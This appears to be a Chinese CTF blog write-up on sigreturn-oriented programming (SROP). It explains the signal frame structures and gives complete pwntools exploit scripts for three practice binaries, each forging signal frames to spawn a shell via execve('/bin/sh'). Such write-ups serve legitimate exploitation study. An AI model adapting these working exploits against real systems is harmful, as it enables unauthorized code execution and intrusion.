本文最后更新于:7 天前
之前对srop一直只是听过,最近研究了三道srop的题目,顺便整理一下srop的思路
先整理一下srop的要点(来自wiki,有删改)
srop 先了解一个名叫signal机制
类unix系统中相互传递信息的一种方式,称为软中断(kill触发)
内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址 。
栈的结构会改变
称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。(用户可以读写,所以就可以伪造一个signal frame) 之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。
对于 signal Frame x86 和x64 的 sigcontext有所不同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate * fpstate ; unsigned long oldmask; unsigned long cr2; };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 struct _fpstate { __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st [8]; struct _xmmreg _xmm [16]; __uint32_t padding[24 ]; };struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate ; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8 ]; };
伪造 signal frame 的具体结构
pwntools已经集成了 SigreturnFrame()这个函数,用来生成一个frame,然后我们可以指定其中寄存器的值。相当于一键伪造栈并快速控制其中寄存器的值。伪造之后如下图所示
当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell。
如果希望执行一系列函数的时候,我们只需要控制栈指针,将原来的rip指向的syscall gadgets换成 syscall;ret gadgets
构造rop须满足的条件:
1.触发栈溢出
2.知道 binsh ,signal frame, syscall ,sigreturn 的地址
3.知道栈的地址,构造binsh字符串的地址
3.有足够大的空间构造signal frame
对于 sigreturn 系统调用来说,在 64 位系统中,sigreturn 系统调用对应的系统调用号为 15,只需要 RAX=15,并且执行 syscall 即可实现调用 syscall 调用。而 RAX 寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说 read 函数的返回值为读取的字节数。
ciscn_2019_es_7
典型的栈溢出(栈大小为0x10,读取0x300,显示0x30)
特别之处在于程序使用系统调用号来调用read和write函数
调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pwndbg> info proc map process 84263 Mapped address spaces: Start Addr End Addr Size Offset Perms objfile 0x400000 0x401000 0x1000 0x0 r-xp /home/pfang1n/桌面/pwn/challenges/srop/ciscn_2019_es_7 0x600000 0x601000 0x1000 0x0 r--p /home/pfang1n/桌面/pwn/challenges/srop/ciscn_2019_es_7 0x601000 0x602000 0x1000 0x1000 rw-p /home/pfang1n/桌面/pwn/challenges/srop/ciscn_2019_es_7 0x7fa92df64000 0x7fa92df67000 0x3000 0x0 rw-p 0x7fa92df67000 0x7fa92df8d000 0x26000 0x0 r--p /usr/lib/x86_64-linux-gnu/libc.so.6 0x7fa92df8d000 0x7fa92e0e2000 0x155000 0x26000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6 0x7fa92e0e2000 0x7fa92e136000 0x54000 0x17b000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6 0x7fa92e136000 0x7fa92e13a000 0x4000 0x1cf000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6 0x7fa92e13a000 0x7fa92e13c000 0x2000 0x1d3000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6 0x7fa92e13c000 0x7fa92e149000 0xd000 0x0 rw-p 0x7fa92e15f000 0x7fa92e161000 0x2000 0x0 rw-p 0x7fa92e161000 0x7fa92e162000 0x1000 0x0 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7fa92e162000 0x7fa92e187000 0x25000 0x1000 r-xp /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7fa92e187000 0x7fa92e191000 0xa000 0x26000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7fa92e191000 0x7fa92e193000 0x2000 0x30000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7fa92e193000 0x7fa92e195000 0x2000 0x32000 rw-p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffcf8d24000 0x7ffcf8d45000 0x21000 0x0 rw-p [stack] 0x7ffcf8db4000 0x7ffcf8db8000 0x4000 0x0 r--p [vvar] 0x7ffcf8db8000 0x7ffcf8dba000 0x2000 0x0 r-xp [vdso] pwndbg> find 0x7ffcf8d24000,0x7ffcf8d45000,'/bin/sh' No symbol "/bin/sh" in current context. pwndbg> find 0x7ffcf8d24000,0x7ffcf8d45000,"/bin/sh" 0x7ffcf8d42c20 warning: Unable to access 9184 bytes of target memory at 0x7ffcf8d42c21, halting search. 1 pattern found. pwndbg> x/2gx 0x7ffcf8d42c20 0x7ffcf8d42c20: 0x0068732f6e69622f 0x0000000000000000 pwndbg> p 0x7ffcf8d42d68-0x7ffcf8d42c20$1 = 328 pwndbg>
info proc map:查看当前进程的内存映射,
find 0x7ffcf8d24000,0x7ffcf8d45000,”/bin/sh”:在栈中查找‘/bin/sh’的地址
p 0x7ffcf8d42d68-0x7ffcf8d42c20:查看与泄露出来的栈上的地址的偏移=328
(0x7ffcf8d42d68是程序在调用函数时泄露的栈地址)
找到syscall的地址
rax=15(调用sigreturn
)和rax=59(调用execv
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import * context(log_level = 'debug' ,arch = 'amd64' ,os = 'linux' ) mov_rax_sigreturn = 0x4004DA read_addr = 0x4004F1 syscall_ret = 0x400501 p = process("./ciscn_2019_es_7" ) p.sendline(b'/bin/sh\x00' .ljust(0x10 ,b'\x00' )+p64(read_addr)) p.recv(32 ) stack_addr=u64(p.recv(8 )) p.recv(8 ) sigframe = SigreturnFrame() sigframe.rax=constants.SYS_execve sigframe.rdi=stack_addr -328 sigframe.rsi=0x0 sigframe.rsp=stack_addr sigframe.rip=syscall_ret payload=b'/bin/sh\x00' +p64(0 )+p64(mov_rax_sigreturn)+p64(syscall_ret)+bytes (sigframe) p.sendline(payload)print ('stack_addr:' ,hex (stack_addr))print ('/bin/sh_addr:' ,hex (stack_addr-328 )) p.interactive()
rootersctf_2019_srop
跟上道题的区别就是没有回显
构造两次srop 第一次读入,第二次执行execve
以下是第一个栈帧
第二个栈帧
最后执行execve(“/bin/sh”)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import * context(log_level = 'debug' ,arch = 'amd64' ,os = 'linux' ) p=process('./rootersctf_2019_srop' ) data_addr=0x402000 syscall_leave_ret = 0x401033 pop_rax_syscall_leave_ret = 0x401032 syscall_addr = 0x401046 frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = data_addr frame.rdx = 0x400 frame.rip = syscall_leave_ret frame.rbp = data_addr + 0x10 p.sendlineafter("Hey, can i get some feedback for the CTF?\n" , flat([0x88 * "a" , pop_rax_syscall_leave_ret, 0xf , bytes (frame)])) frame = SigreturnFrame() frame.rax = 59 frame.rdi = data_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_addr payload = flat(["/bin/sh\x00" , "a" * 0x10 , pop_rax_syscall_leave_ret, 0xf , bytes (frame)]) p.sendline(payload) p.interactive()
360chunqiu2017_smallest
这个题就有一个read系统调用,十几行汇编代码,同样是需要用srop伪造栈布局
观察这段汇编代码,XOR RAX, RAX
将 RAX 寄存器的值与自身进行异或操作。这条指令的结果是,RAX 寄存器的所有位都会被设置为0。效果等同于 MOV RAX, 0
,而且发现read是直接从rsp读取(可以理解为偏移是0)
思路就是首先需要leak一个地址,构造write(1,stack,n)来泄露栈上内容,控制rax为1时,rdi也正好能够为标准输出流,且系统调用号对应write函数,将直接从rsp出写出0x400个字节的数据(read
的系统调用号是0``write
的系统调用号是1
)。
注意:输入的那一个字节必须是\xb3,因为读入的时候会直接写到rsp处,而这里存的是该函数的返回地址。绕过xor,实现read函数的返回值来控制rax为1并输出栈顶指针所指向的数据
1 2 3 4 5 6 7 8 payload = p64(start_addr) * 3 sh.send(payload) sh.send(b'\xb3' ) stack_addr = u64(sh.recv()[8 :16 ]) log.success('leak stack addr :' + hex (stack_addr))
然后知道了栈地址,就可以伪造栈了,
我们首先伪造一个read(0,stack_addr,0x400),目的是读取binsh,
1 2 3 4 5 6 7 8 9 sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_ret
再伪造一个栈帧,构造execve(“/bin/sh”,0,0)
1 2 3 4 5 6 7 8 sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = stack_addr + 0x120 sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack_addr+ 0x120 sigframe.rip = syscall_ret
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import * sh = process('./smallest' ) context(os='linux' ,arch='amd64' ,log_level='debug' ) syscall_ret = 0x4000BE start_addr = 0x4000B0 payload = p64(start_addr) * 3 sh.send(payload) sh.send(b'\xb3' ) stack_addr = u64(sh.recv()[8 :16 ]) log.success('leak stack addr :' + hex (stack_addr)) sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr) + b'a' * 8 + bytes (sigframe) sh.send(payload) sigreturn = p64(syscall_ret) + b'b' * 7 sh.send(sigreturn) sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = stack_addr + 0x120 sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack_addr+ 0x120 sigframe.rip = syscall_ret frame_payload = p64(start_addr) + b'b' * 8 + bytes (sigframe) payload = frame_payload + (0x120 - len (frame_payload)) * b'\x00' + b'/bin/sh\x00' +p64(stack_addr + 0x190 ) sh.send(payload) sh.send(sigreturn) sh.interactive()
收获 1.srop
只用于栈溢出较大的场景,并且程序中需要有系统调用
2.srop
可以构造多个帧,若程序缺乏binsh,第1
帧先写/bin/sh\x00
,然后第2
帧执行execve